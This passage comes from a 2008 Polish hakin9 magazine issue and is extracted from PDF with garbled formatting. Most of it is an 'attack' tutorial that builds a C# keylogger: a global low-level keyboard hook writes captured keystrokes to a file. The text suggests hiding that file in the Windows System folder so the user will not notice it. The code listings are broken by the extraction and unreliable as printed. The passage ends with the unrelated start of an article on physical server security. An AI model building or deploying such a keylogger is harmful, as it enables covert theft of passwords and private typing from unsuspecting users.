tablica zmiennych typu

byte

, w któ-

rej zostanie zapisany aktualny stan
klawiatury. Jeżeli funkcja zadziała
poprawnie, również zwraca wartość
różną od 0. W celu określenia stanu
pojedynczego klawisza skorzystamy
z funkcji

GetKeyState

. Parametrem

funkcji jest wirtualny kod klawisza,
którego stan chcemy określić. Kla-
wisz może być wciśnięty, zwolniony
lub przełączony. Terminem klawisz
jest przełączony będziemy oznaczać
stan, w którym wciśnięcie wybrane-
go klawisza powoduje uaktywnienie
pewnego trybu (np. wciśnięcie kla-
wisza Caps Lock powoduje włącze-
nie trybu pisania dużymi literami).
Wartość zwracana przez funkcję

GetKeyState

informuje nas o stanie

wybranego klawisza. Jeżeli najbar-
dziej znaczący bit zwracanej warto-
ści jest ustawiony, to klawisz jest wci-
śnięty. W przeciwnym wypadku jest
zwolniony. Jeżeli najmniej znaczący

bit jest ustawiony, wówczas wybrany
klawisz jest przełączony. W przeciw-
nym wypadku nie jest przełączony.
Możemy teraz przejść do dodania
pól do naszej klasy (Listing 3).

W pierwszym z nich zapiszemy

nasz przechwycony znak (

caught-

Char

). Pole

path

typu

string

będzie

określało ścieżkę do pliku, w którym
będziemy zapisywać przechwycone
znaki. Jest on plikiem tekstowym, aby
można było w prosty sposób spraw-
dzić działanie programu. Jednakże
w celu lepszego ukrycia tego pli-
ku moglibyśmy np. zapisywać znaki
w pliku binarnym i umieścić go w fol-
derze $Windows\System (jeżeli posia-
damy do niego prawa zapisu), gdzie
przeciętny użytkownik rzadko zaglą-
da – jest zresztą wiele innych miejsc
na dysku, gdzie nasz plik może spo-
kojnie egzystować, nie nękany przez
użytkownika. Oczywiście nazwa pliku
też powinna być wtedy inna.

Kolejne cztery pola związane są

z klawiszami Shift i Caps Lock. Stałe

VK _ SHIFT

VK _ CAPITAL

oznaczają od-

powiednio kody klawiszy wirtualnych
Shift i Caps Lock. Pole ShiftDown bę-
dzie przyjmować wartość true, jeże-
li klawisz Shift jest wciśnięty. W prze-
ciwnym wypadku pole to przyjmie
wartość false. Pole CapsLockDown
będzie przyjmować wartość true, je-
żeli klawisz CapsLock został przełą-

Listing 5.

Metoda odczytująca znak z przechwyconego komunikatu

private static char

GetChar

(

int vkCode

)

{

byte

[]

data

new

byte

[

256

];

GetKeyboardState

(

data

);

char

myChar

' '

;

uint

scan

;

ToAscii

((

uint

)

vkCode

scan

data

ref

myChar

);

return

myChar

;

}

Listing 6.

Definicja struktury KBDLLHOOKSTRUCT

[

StructLayout

(

LayoutKind

Sequential

)]

public

struct

KBDLLHOOKSTRUCT

{

public

int

vkCode

;

public

int

scanCode

;

public

int

flags

;

public

int

time

;

public

int

dwExtraInfo

;

}

hakin9 Nr 01/2008

www.hakin9.org

Atak

czony, powodując uaktywnienie trybu
pisania dużymi literami. Natomiast po
wyłączeniu tego trybu polu zostanie
przypisana wartość false. Ostatnim
polem będzie kod komunikatu syste-
mu Windows, który jest generowany
w momencie wciśnięcia niesystemo-
wego klawisza klawiatury.

Możemy teraz przejść do napisa-

nia dwóch prywatnych metod, które
wykorzystywać będzie funkcja moni-
torująca. Pierwsza z nich będzie słu-
żyć do zapisu określonego znaku
w wybranym miejscu. Na początku
musimy dodać przestrzeń nazw Sys-

tem.IO. Kod metody jest pokazany
na Listingu 4.Na początku następuje
sprawdzenie, czy wybrany plik już ist-
nieje. Jeżeli tak, dopisujemy do niego
kolejne dane. Jeżeli nie istnieje, two-
rzymy go i zapisujemy w nim dane.
Warto zwrócić uwagę, że dzięki użyciu
słowa kluczowego

using

nie musimy

się martwić o zamknięcie pliku.

Druga metoda pozwoli nam na od-

czytanie z przechwyconego komu-
nikatu znaku odpowiadającego wci-
śniętemu klawiszowi. Jako parametr
przyjmuje ona kod wirtualnego klawi-
sza. Funkcja zwraca odczytany znak.

Jej definicja jest pokazana na Listin-
gu 5. Działanie tej metody sprowadza
się do użycia dwóch wcześniej zaim-
portowanych funkcji WinAPI z odpo-
wiednimi parametrami. Możemy teraz
przejść do meritum sprawy, czyli napi-
sania definicji funkcji monitorującej (Li-
sting 6). Funkcja będzie przyjmować
następujące parametry:

• code

– określa kod, na podstawie

którego funkcja monitorująca prze-
twarza otrzymany komunikat. Je-
żeli parametr ten jest mniejszy od
zera, to wymagane jest, aby funk-
cja monitorująca wywołała funkcję

CallNextHookEx

i zwróciła wartość

zwracaną przez tę funkcję,

• wParam

– określa identyfikator ko-

munikatu klawiatury,

• lParam

– reprezentuje wskaźnik do

struktury KBDLLHOOKSTRUCT.
Aby móc korzystać z tej struktury,
musimy ją przedtem zdefiniować.
W tym celu przed definicją klasy
dodajemy kod z Listingu 6.

Z naszego punktu widzenia najważ-
niejsze pole tej struktury to

vkCode

Posłuży nam ono jako parametr
przekazywany do funkcji

ToAscii

Parametry

code

wParam

oraz

lParam

są odpowiednio drugim, trzecim
i czwartym parametrem funkcji

CallNextHookEx

Na początku metody sprawdza-

my, czy nastąpiło zdarzenie wciśnię-
cia klawisza niesystemowego oraz
czy parametr

code

ma wartość więk-

szą bądź równą zero. Używamy sta-
tycznej metody

PtrToStructure

klasy

Marshal

w celu zamiany parametru

lParam

na strukturę KBDLLHOOK-

STRUCT. Metoda ta jako pierwszy
parametr przyjmuje wskaźnik do nie-
zarządzanego bloku pamięci (wskaź-
niki na platformie .NET są reprezen-
towane przez strukturę

IntPtr

). Dru-

gi parametr to typ obiektu, który ma
utworzyć. Wartością zwracaną jest
nowo utworzony obiekt klasy

Object

Zawiera on dane wskazywane przez
wskaźnik przekazany jako pierwszy
parametr. Zwracaną wartość rzutuje-
my jeszcze na strukturę KBDLLHO-
OKSTRUCT. Pierwsza instrukcja wa-
runkowa

ustala wielkość znaków

Listing 7.

Funkcja monitorująca

public static

IntPtr MonitorFunction

(

int

code

IntPtr wParam

IntPtr lParam

)

{

try

{

(

wParam

ToInt64

()

WM_KEYDOWN

code

)

{

KBDLLHOOKSTRUCT

hookStruct

(

KBDLLHOOKSTRUCT

)

Marshal

PtrToStructure

(

Param

typeof

(

KBDLLHOOKSTRUCT

));

// Shift wciśnięty ??

ShiftDown

((

GetKeyState

(

VK_SHIFT

)

0x80

)

0x80

true

false

);

// Tryb pisania dużymi literami włączony ??

CapsLockDown

(

GetKeyState

(

VK_CAPITAL

)

true

false

);

caughtChar

GetChar

(

hookStruct

vkCode

);

((

CapsLockDown

ShiftDown

)

Char

IsLetter

(

caughtChar

))

caughtChar

Char

ToUpper

(

caughtChar

);

((

caughtChar

0x0d

hookStruct

vkCode

0x0d

)

(

caughtChar

0x20

caughtChar

0x7e

)

(

caughtChar

0x20

hookStruct

vkCode

0x20

))

SaveChar

(

caughtChar

path

);

}

catch

{}

return

CallNextHookEx

(

IntPtr

Zero

code

wParam

lParam

);

}

Listing 8.

Importowanie funkcji WinAPI

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

SetWindowsHookEx

(

int

code

HookProc

func

IntPtr

hInstance

int

threadID

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

bool

UnhookWindowsHookEx

(

IntPtr

hhk

);

[

DllImport

(

"Kernel32.dll"

)]

private

static

extern

IntPtr

GetModuleHandle

(

string

moduleName

);

Listing 9.

Definicja pól klasy HookClass

private

delegate

IntPtr

HookProc

(

int

code

IntPtr

wParam

IntPtr

lParam

);

private

static

HookProc

hookProc

;

private

IntPtr

result

;

private

const

int

WH_KEYBOARD_LL

0x0d

;

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

będących literami. Druga konstruk-
cja

dba, aby tylko wybrane znaki

były zapisywane do pliku.

Biblioteka DLL została już stwo-

rzona. Kolejnym krokiem będzie
stworzenie projektu, który użyje tej
biblioteki w celu monitorowania kla-
wiatury.

Instalujemy funkcję

monitorującą

Zaczynamy od stworzenia nowego
projektu Windows Forms Applica-
tion. Nadajemy mu nazwę TestHo-
oks. Do projektu dodajemy nową kla-
sę przez wybranie opcji Project –>
Add Class. W polu Name wpisujemy
HookClass. W klasie tej umieścimy
kod umożliwiający uruchomienie mo-
nitorowania klawiatury. Forma Form1
w tym projekcje będzie symulowa-
ła pewną aplikację, w której istnieje
możliwość użycia opcji monitorowa-
nia klawiatury. Możemy teraz przejść
do napisania definicji klasy HookC-
lass. Zaczniemy od importu potrzeb-
nych funkcji WinAPI (Listing 8).

Haki są instalowanie przez wy-

wołanie funkcji

SetWindowsHookEx

Parametry tej funkcji to:

•

idHook

– określa typ haka, jaki

chcemy zainstalować,

•

func

– delegacja dla zarejestro-

wanej funkcji monitorującej,

•

hInstance

– uchwyt do bibliote-

ki DLL, która zawiera definicję
funkcji monitorującej,

•

threadID

– określa identyfikator

wątku, z którym ma być związa-
na funkcja monitorująca.

Jeżeli funkcja ta zadziała popraw-
nie, zwróci uchwyt do funkcji mo-
nitorującej. W przeciwnym wypad-
ku zwróci wartość

null

. Gdy już nie

chcemy przechwytywać wybranych
komunikatów, możemy odinstalo-
wać funkcję monitorującą. Służy do
tego funkcja

UnhookWindowsHookEx

Jej parametr to uchwyt do funkcji
monitorującej, który otrzymujemy
jako wartość zwracaną przez funk-
cję

SetWindowsHookEx

. Jeżeli funkcja

zadziała poprawnie, zwracana war-
tość jest niezerowa. W przeciwnym
wypadku zwracaną wartością jest
zero. Funkcja

GetModuleHandle

uzy-

skuje uchwyt do wybranego modu-
łu, którego nazwę przekazujemy ja-
ko parametr (

plik

.dll lub .exe). Je-

żeli funkcja zadziała prawidłowo,
wówczas zwracaną wartością jest
uchwyt do żądanego modułu.

W kolejnym kroku zdefiniujemy

delegację dla funkcji monitorują-
cej. Jej sygnatura i typ muszą za-
tem być zgodne z sygnaturą i ty-
pem zwracanym funkcji monitorują-
cej. Po zdefiniowaniu delegacji two-
rzymy jej referencję. Warto podkre-
ślić, że obiekt delegacji musi być za-
deklarowany jako static. Potrzeb-
ne nam będzie także pole, w któ-
rym zapiszemy uchwyt do funkcji
monitorującej zwracany przez funk-
cję

SetWindowsHookEx

. Nazwiemy je

result

. Ostatnim polem będzie stała

oznaczająca typ haka, jaki chcemy
zainstalować. Nasza funkcja ma za
zadanie przechwytywać komunika-
ty klawiatury, więc parametr ten bę-
dzie miał wartość 0x0d i nazwiemy
go

WH _ KEYBOARD _ LL

. Kroki te przed-

stawia Listing 9.

Teraz zajmiemy się napisaniem

prywatnej metody

GetHookProc

, dzię-

ki której stworzymy obiekt delega-
cji

HookProc

z zarejestrowaną funk-

cją monitorującą. W projekcie przyj-
mujemy, że biblioteka DLL nosi na-
zwę TestDll, znajduje się w tym sa-
mym katalogu, co plik wykonywalny
oraz że nazwa funkcji monitorującej
to MonitorFunction. Kod metody jest
przedstawiony na Listingu 10.

Listing 10.

Metoda GetHookProc

private

bool

GetHookProc

()

{

try

{

string

Environment

CurrentDirectory

"TestDll.dll"

;

Assembly

LoadFrom

(

);

Type

[]

tab

GetExportedTypes

();

MethodInfo

methodInfo

null

;

foreach

(

Type

tab

)

{

methodInfo

GetMethod

(

"MonitorFunction"

);

}

hookProc

(

HookProc

)

Delegate

CreateDelegate

(

typeof

(

HookProc

)

methodInfo

);

return

true

;

}

catch

{

return

false

;

}

W Sieci

• http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący

haki w systemie Windows,

• http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisu-

jący haki w systemie Windows,

• http://msdn2.microsoft.com/en-us/express/aa975050.aspx – witryna Microsoft,

skąd można pobrać środowisko Visual C# 2005 Express Edition,

• http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platfor-

my .NET i nie tylko. Naprawdę godny polecenia,

• http://www.codeguru.pl – polska strona dla programistów .NET,
• http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszyst-

kich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi
programami.

hakin9 Nr 01/2008

www.hakin9.org

Atak

W metodzie tej mamy zaprezen-

towany jeden ze sposobów impor-
towania metod z bibliotek łączenia
dynamicznego, stworzonych z wy-
korzystaniem Visual C#. Aby móc
to zrobić, musimy dodać do projek-
tu przestrzeń nazw System.Reflec-

tion. Na początku tworzymy zmien-
ną typu

string

, która zawiera ścież-

kę do pliku DLL, z którego chcemy
importować metodę. Następnie two-
rzymy obiekt klasy

Assembly

, repre-

zentujący tzw. pakiet kodu (ang. as-
sembly). Pakietem kodu może być

zarówno biblioteka łączona dyna-
micznie, jak i plik wykonywalny.
Obiekt klasy

Assembly

jest tworzo-

ny przez wywołanie statycznej me-
tody tej klasy –

LoadFrom

. Jej para-

metrem jest ścieżka do pakietu ko-
du, który chcemy załadować. Me-
toda zwraca nam nowo utworzo-
ny obiekt klasy

Assembly

. Kolej-

nym krokiem jest wywołanie meto-
dy

GetExportedTypes

klasy

Assembly

Metoda ta zwraca publiczne typy
znajdujące się w określonym pa-
kiecie kodu, które użytkownik może
wykorzystać w swojej zewnętrznej
aplikacji. Uzyskujemy w ten sposób
tablicę obiektów klasy

Type

. Następ-

nie deklarujemy pustą referencję do
obiektu klasy

MethodInfo

. Teraz mu-

simy przeszukać nasze typy w ce-
lu odnalezienia typu będącego kla-
są zawierającą definicję funkcji mo-
nitorującej. Najlepiej do tego celu
nadaje się pętla

foreach

. Wewnątrz

pętli używamy metody

GetMethod

sprawdzenia, czy dany typ zawiera
definicję funkcji monitorującej. Je-
żeli znajdziemy taki typ, wówczas

GetMethod

zwraca nam obiekt typu

MethodInfo

, w przeciwnym wypadku

będzie to wartość

null

Pora teraz na stworzenie obiek-

tu delegacji. Wykorzystamy do tego
statyczną metodę klasy

Delegate

o nazwie

CreateDelegate

, która

przyjmuje dwa parametry. Pierw-
szym z nich jest typ delegacji, ja-
ki ma zostać stworzony. Drugi to
obiekt typu

MethodInfo

. Aby uzy-

skać typ naszej delegacji, używa-
my operatora

typeof

. Ponieważ

metoda

CreateDelegate

zwraca

obiekt typu

Delegate

, musimy rzu-

tować zwracany typ na typ naszej
delegacji. Metoda zwraca wartość
różną od zera, gdy uda się utwo-
rzyć delegację z zarejestrowaną
funkcją monitorującą, w innym wy-
padku zwraca zero.

Możemy teraz przejść do napisa-

nia publicznej metody

InstallHook

która posłuży nam do zainstalowa-
nia funkcji monitorującej. Definicję
tej metody przedstawia Listing 11.

Warto zwrócić uwagę, że iden-

tyfikator wątku równa się 0. Dzieje
się tak, ponieważ chcemy powiązać

Listing 11.

Metoda instalująca oraz usuwająca funkcję monitorującą

public bool

InstallHook

()

{

try

{

(

GetHookProc

())

{

result

SetWindowsHookEx

(

WH_KEYBOARD_LL

hookProc

GetModuleHan

dle

(

"TestDll.dll"

)

);

return

true

;

}

else

return

false

;

}

catch

{

return

false

;

}

public

void

CloseHook

()

{

UnhookWindowsHookEx

(

result

);

}

Listing 12.

Definicja klasy Form1

using

System

;

using

System

Collections

Generic

;

using

System

ComponentModel

;

using

System

Data

;

using

System

Drawing

;

using

System

Text

;

using

System

Windows

Forms

;

namespace

TestHooks

{

public

partial

class

Form1

Form

{

private

HookClass

hookClass

;

private

bool

hookInstallDone

true

;

public

Form1

()

{

InitializeComponent

();

hookClass

new

HookClass

();

hookClass

InstallHook

())

hookInstallDone

false

;

}

private

void

OnClosing

(

object

sender

EventArgs

)

{

(

hookInstallDone

)

hookClass

CloseHook

();

}

naszą funkcję monitorującą z wszystkimi istniejącymi
wątkami. Odinstalowanie funkcji monitorującej odbywa
się przez wywołanie publicznej metody

CloseHook

, któ-

rej definicję przedstawia również Listing 11.

Możemy teraz przejść do stworzenia obiektu naszej

klasy. Przechodzimy do widoku formy Form1 i naciska-
my F7. Przypominamy, że forma reprezentuje w naszym
projekcie pewną aplikację, w której chcemy mieć możli-
wość użycia funkcji monitorującej. Jej kod przedstawia
Listing 12.

W konstruktorze Form1 tworzymy nowy obiekt kla-

HookClass

i wywołujemy funkcję monitorującą. Mo-

nitorowanie powinno zostać zatrzymane w momencie,
gdy aplikacja skończy działanie. W związku z tym dla
zdarzenia

FormClosing

dodajemy metodę zdarzeniową,

która wyłączy nasz hak. Pole

hookInstallDone

zabez-

piecza przed próbą odinstalowania funkcji monitorują-
cej, gdy nie została ona wcześniej zainstalowana.

Podsumowanie

Artykuł ten opisuje użycie haków systemu Windows
w celu podsłuchiwania klawiatury. Jednak mechanizm
haków nie został stworzony po to, żeby umożliwić pi-
sanie narzędzi hakerskich. Haki nadają się świetnie
wszędzie tam, gdzie zachodzi potrzeba nadzorowania
jednej aplikacji przez inną (np. tryb debuggera, apli-
kacje szkoleniowe). Jeśli nie podoba nam się działa-
nie jakieś aplikacji w związku z konkretnym zdarze-
niem, możemy napisać własną metodę zdarzeniową
i podpiąć się z nią za pomocą mechanizmu haków do
aplikacji. Można też napisać własny hak, który będzie
w stanie wyłączyć inne haki. Jak widać, możliwości
jest wiele – ale ta swoboda stanowi jednocześnie du-
że zagrożenie, co – mamy nadzieję – pokazał ten ar-
tykuł. l

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest

doktorantem na Wydziale Fizyki, Astronomii i Informatyki Sto-
sowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje
się symulacjami komputerowymi układów biologicznych (dy-
namika molekularna) oraz bioinformatyką. Programowanie
jest nieodzowną częścią jego pracy naukowej i dydaktycznej.
Ma doświadczenie w programowaniu w językach C, C++, Del-
phi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje
od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl.
Maciej Pakulski – absolwent studiów inżynierskich na kierun-

ku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informa-
tyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu.
Obecnie na studiach magisterskich. Programowaniem zajmu-
je się od 2004 roku. Potrafi programować biegle w językach
C/C++, Java, VHDL. Programowaniem w języku C#, a także
platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl.

www.hakin9.org

hakin9 Nr 01/2008

Obrona

erwery to komputery świadczące usłu-
gi sieciowe (w firmie i poza nią) klien-
tom bądź użytkownikom oraz wykonu-

jące specjalne zadania, do których zostały za-
projektowane. Dobrym przykładem mogą być
tutaj komputery PC, spełniające rolę interneto-
wego serwera WWW, serwera pocztowego lub
dostępowego, firewalla czy obsługujące firmo-
wy intranet. Od nich zależy sprawne działanie
każdej sieci, dlatego przy ich budowaniu stawia
się przede wszystkim na niezawodność i bez-
pieczeństwo zgromadzonych na nich danych.

Przede wszystkim zdecydowana większość

serwerów musi pracować 24 godziny na dobę
przez 7 dni w tygodniu i wszystkie podzespo-
ły muszą być niezawodne. Narażone na uszko-
dzenia są zwłaszcza komponenty zawierające
liczne elementy mechaniczne, przede wszyst-
kim twarde dyski, ale również wentylatory czy
zasilacze.

Firmy wykorzystujące systemy e-bizneso-

we muszą zapewnić stały wgląd do swoich za-
sobów – nie tylko pracownikom, ale również ko-
operantom i potencjalnym klientom. W takim
przypadku nie ma mowy o jakimkolwiek prze-
stoju. Każda chwila, w której niedostępna jest
na przykład firmowa witryna WWW, może skut-

kować utratą klienta, a co za tym idzie – zmniej-
szeniem obrotów. Dlatego przy zakupie serwera
nie należy się kierować tylko wydajnością urzą-
dzenia, ale również szeregiem aspektów doty-
czących ochrony i bezpieczeństwa danych oraz
zapleczem technicznym gwarantowanym przez
dostawcę lub producenta. Takie urządzenia nie
należą do tanich. Wreszcie, gdyby doszło jed-
nak do awarii, konstrukcja serwera musi zapew-
niać jak najszybszą możliwość wymiany uszko-
dzonego podzespołu. Równie istotne jest, aby
serwer pozwalał w łatwy sposób wykonywać ko-
pie zapasowe danych na wszelkie przewidziane
i nieprzewidziane wypadki.

Fizyczna ochrona

farm serwerów

Rafał Podsiadły

stopień trudności

Pisze się wiele o zagrożeniach i lukach systemowych, a nikt nie

pamięta o urządzeniach, które pełnią ważną rolę w ochronie

serwera, ani o zagrożeniach związanych z mechaniką.

Z artykułu dowiesz się

• jak zabezpieczyć swój serwer,
• jakich narzędzi użyć,
• jakie są standardy obowiązujące w tak zwa-

nych farmach serwerów.

Co powinieneś wiedzieć

• znać podstawy systemów operacyjnych,
• znać podstawy sieci i technik komputerowych.

Serwery – co im zagraża, jak się zabezpieczyć

hakin9 Nr 01/2008

www.hakin9.org

W przypadku małego serwera

zbudowanego na komputerze sta-
cjonarnym (zdecydowanie nie pole-
cam tego typu rozwiązania, jednak
takie istnieją), uszkodzenie sprzę-
tu sprowadza się do pójścia do skle-
pu i wymiany wadliwego elementu
na nowy. Zakres czasowy napra-
wy to kilka godzin. W sytuacji, gdy
poważnie podchodzimy do bezpie-
czeństwa danych, szukamy bardziej
wyrafinowanych rozwiązań. Urzą-
dzenie, które chcielibyśmy postawić
w naszej firmie, ma spełniać wyma-
gania określone w dalszej części te-
go artykułu. Powinno być bezpiecz-
ne i niezawodne. Obecnie na rynku
jest duży wybór takich rozwiązań,
jedynie zasób gotówki, jaki chce-
my przeznaczyć na ten cel, decy-
duje o jego funkcjonalności. Gotowe
serwery są profesjonalnie przygoto-
wane do pracy, wykonane z tward-
szych materiałów, a odpowiednio
dobrane układy scalone zapewnia-
ją niezawodną pracę przez dłuższy
okres czasu. Mimo to, kupując taki
serwer, musimy liczyć się z ewentu-
alnym zagrożeniem, jakim jest awa-
ria. Gdyby jednak nastąpiła, dobrze
by było przewidzieć taką sytuację
i ograniczyć czas przestoju serwera
do niezbędnego minimum. Jednym
ze sposobów zabezpieczeń jest po-
siadanie przy sobie kompletu strate-
gicznych części, bez których serwer
nie może zostać uruchomiony, jed-
nakże podzespoły są drogie i nikt
nie stosuje takiej praktyki. Z dru-
giej strony, wiemy, że z dostępno-
ścią części zapasowych u produ-
centa bywa różnie – awaria może
trwać do kilku dni. Czy możemy so-
bie na to pozwolić? Byłoby to roz-
wiązanie bardzo niebezpieczne dla
firmy. Aby obronić się przed taka sy-
tuacją, podpisujemy umowę doty-
czącą usług serwisowych. Gdy ku-
pimy nowy sprzęt, usługa ta jest ob-
jęta gwarancją producenta. Wyku-
pienie serwera w Data Center za-
pewnia nam kilka źródeł dostępu
do Internetu, jednak naprawy musi-
my wykonać sami, na własny koszt.
Dopiero dzierżawa serwera zapew-
nia odpowiedni standard wymiany
uszkodzonych podzespołów. Minu-

sem posiadania takiej dzierżawy
są ograniczenia w fizycznym dostę-
pie do serwera, często zdarza się,
że jest on ograniczony do kilku go-
dzin dziennie.

W profesjonalnych serwerach

dąży się do jak największej integra-
cji kilku niezbędnych podzespołów
z płytą główną. Za umieszczeniem
karty graficznej, sieciowej i kontro-
lera SCSI bezpośrednio na płycie
przemawiają dwa argumenty. Po
pierwsze, są to elementy w zasa-
dzie rzadko podlegające wymianie
podczas eksploatacji, a niezbędne
do funkcjonowania serwera. Po dru-
gie, zwiększa się liczba dostępnych
gniazd na karty rozszerzeń, umożli-
wiając w ten sposób rozbudowę kon-
figuracji serwera o kolejne kompo-
nenty, np. kontroler RAID, modem
lub dodatkową kartę sieciową.

Z kolei najprostszym sposobem

zwielokrotnienia wydajności maszy-
ny jest dołożenie kolejnej jednostki
obliczeniowej – procesora. Czę-
sto płyta główna umożliwia montaż
drugiej i następnych jednostek cen-
tralnych. Jeśli okaże się, że nasz
serwer jest już za słaby, wówczas
wystarczy dołożyć kolejny proce-
sor i problem zostaje (przynajmniej
na jakiś czas) rozwiązany. Jednym
z podstawowych zadań serwera

jest przechowywanie i udostępnia-
nie użytkownikom różnych baz da-
nych i plików. Aby było to możliwe,
każdy serwer musi być wyposażony
w jeden lub kilka dysków twardych.
Kluczową kwestią jest integralność
i bezpieczeństwo przechowywa-
nych danych. W niektórych ser-
werach zasada ta realizowana jest
za pomocą kontrolera RAID (Re-
dundant Array of Independent Di-
sks) oraz macierzy umożliwiają-
cej wymianę dysków na gorąco
– hot swap. Dzięki temu można łą-
czyć dyski twarde w większe ze-
społy (macierze) dla zwiększenia
wydajności lub pojemności systemu
pamięci dyskowej bądź uodpornie-
nia go na ewentualne awarie jedne-
go, czy nawet kilku dysków. Stosu-
jąc niektóre warianty RAID, można
spełnić oba te założenia.

Mogłoby się wydawać, że w więk-

szości serwerów montowane są
dyski SCSI. Tymczasem w przy-
padku tanich serwerów przezna-
czonych dla małych firm najczę-
ściej instalowane są dyski Se-
rial ATA. Ma to swoje uzasadnie-
nie przede wszystkim w cenie te-
go typu maszyn. Dyski Serial ATA
wciąż są dużo tańsze niż konkuren-
cja z interfejsem SCSI. Niestety,
w serwerach, w których kluczową

Rysunek 1.

Płyta główna

hakin9 Nr 01/2008

www.hakin9.org

Obrona

rolę odgrywa podsystem dyskowy,
nadal królują kontrolery SCSI –
i to z szybkim interfejsem Ultra 320
SCSI, charakteryzującym się moż-
liwością przesyłania danych z pręd-
kością dochodzącą do 320 MB/s.
Kolejną zaletą interfejsu SCSI jest
możliwość obsługi aż 32 urządzeń
(np. dysków twardych).

Wnętrze serwera

Rozmieszczenie urządzeń – funk-
cjonalna, przestronna i bezpieczna
obudowa serwera to rzecz bardzo
istotna. Musi zapewniać doskonałe
warunki pracy podzespołom, a w ra-
zie ich awarii pozwalać na jak naj-
szybszą naprawę. Wszystkie układy
obliczeniowe powinny posiadać ra-
diatory. Na pamięć RAM jest prze-
ważnie umieszczanych 6-8 slotów,
pakowanych po 2GB i pracujących
w technologii DDR-2. Kontroler pa-
mięci posiada układy odpowiada-
jące za jej skanowanie w celu wy-
krywania błędów. Na płycie głównej
powinna znajdować się także karta
graficzna. Takie kontrolery jak IDE,
SCSI, SATA, wbudowane są stan-
dardowo, pozwalając podłączyć
urządzenia pracujące z większa
szybkością, niż dostępna w kompu-
terach domowych. Wbudowany jest
również układ RAID.

Procesory i pamięć nie powin-

ny być zasłonięte przez inne pod-
zespoły, np. przez zasilacz. Przydat-
nym dodatkiem są specjalne zatrza-
ski mocujące karty rozszerzeń. Ge-
neralnie, im mniej śrubek potrzeba
do zmontowania serwera, tym jego
późniejsze utrzymanie czy rozbudo-
wa będą łatwiejsze. Do zalet niewąt-
pliwie należy bardzo łatwy dostęp
do dysków i nadmiarowe, łatwo wy-
mienialne zasilacze. Także chłodze-
nie powinno być oparte o wentylato-
ry umocowane np. w styropianowym
bloku (choć pewną wadą może być
łatwy dostęp kurzu do wnętrza obu-
dowy). Jak widać, do zaprojektowa-
nia dobrej obudowy serwera należy
przemyśleć każdy szczegół.

Płyta główna – większość pro-

ducentów decyduje się na pełną in-
tegrację z płytą główną serwera naj-
większej liczby podzespołów. Przede

wszystkim gwarantuje to całkowi-
tą zgodność użytych komponentów.
Ewentualne problemy ze zgodno-
ścią mogłyby spowodować niestabil-
ną pracę serwera. Po drugie, pozwa-
la to zaoszczędzić miejsce w obudo-
wie i poprawia cyrkulację powietrza.
Po trzecie, integracja oznacza niż-
sze koszty zakupu serwera. Najczę-
ściej z płytą główną zintegrowana zo-
staje karta graficzna. Prawie zawsze
wykorzystywane są dość proste ukła-
dy wyprodukowane przez ATI lub S3,
wykorzystujące 32 MB pamięci RAM,
która nie jest współdzielona z serwe-
rem. W niektórych serwerach dodano
złącze AGP, pozwalające zainstalo-
wać inną kartę graficzną. Wbudowa-
ne kontrolery SCSI (Ultra 320 SCSI)
służą przede wszystkim do podłącze-
nia twardych dysków – jeśli w serwe-
rze nie został zainstalowany dodatko-
wy kontroler, z lepszymi parametrami.
Prawie każda płyta główna serwe-
ra jest również wyposażona w zinte-
growaną kartę sieciową 10/100Mb/s,
a nawet 1Gb/s. W nowych, serwero-
wych płytach głównych instalowane
są też złącza PCI Express o przepu-
stowości do 16GB/s, przeznaczone
dla kontrolerów SCSI następnej ge-
neracji i kart sieciowych 10Gb/s.

• chipset powinien być kompatybil-

ny ze standardem SMBus, który
definiuje zasady zdalnego zarzą-
dzania serwerem,

• w pamięci informacja elektro-

niczna przechowywana jest
w postaci ciągu zer i jedynek.
Gdy dane są przesyłane po-
między różnymi podzespołami
(np. pamięcią i procesorem), za-
wsze istnieje niewielkie praw-
dopodobieństwo, że dojdzie do
przekłamania. Przykładowo, na
skutek zakłóceń elektrostatycz-

nych, zero zostanie odczytane
jako jedynka. W zwykłym pece-
cie spowoduje to mniej lub bar-
dziej poważne zakłócenia w pra-
cy (łącznie z zawieszeniem się).
W przypadku serwera jest to
niedopuszczalne. Aby uniknąć
takich problemów, do przesy-
łanych danych dodaje się spe-
cjalne wartości kontrolne, które
razem z danymi tworzą ustalo-
ne wzorce. Jeśli system ECC
wykryje, że przesyłane dane
są niezgodne z listą ustalonych
wzorców, to znaczy, że wystąpił
błąd. Próba jego naprawy pole-
ga na porównaniu, który z pra-
widłowych wzorców jest najbar-
dziej podobny do niewłaściwego
ciągu danych. Gdy taki wzorzec
zostanie znaleziony, zastępuje
błędne dane.

Nośniki danych – serwery to kró-
lestwo dysków SCSI; praktycznie
nie spotyka się dysków z interfej-
sem IDE. Wynika to, tak jak w przy-
padku wszystkich pozostałych róż-
nic konstrukcyjnych w porównaniu
do domowych pecetów, ze specy-
ficznych wymagań stawianych ser-
werom. Dyski muszą być bardzo
szybkie i niezawodne. Aby to uzy-
skać, najczęściej stosuje się macie-
rze dyskowe typu RAID, które w za-
leżności od konfiguracji podnoszą
wydajność podzespołu dyskowego,
zwiększają jego bezpieczeństwo,
albo jedno i drugie. Ceną, jaką trze-
ba zapłacić, jest zmniejszenie prze-
strzeni dyskowej. Nawet jednak za-
stosowanie kontrolera RAID nie za-
bezpiecza przed takimi wypadkami
losowymi jak pożar. Dlatego trzeba
zadbać o dodatkowe mechanizmy
zabezpieczenia danych. Najbar-
dziej naturalnym narzędziem jest

HotPlug PCI

Jest to technologia opracowana przez firmę Compaq – standardowy mechanizm po-
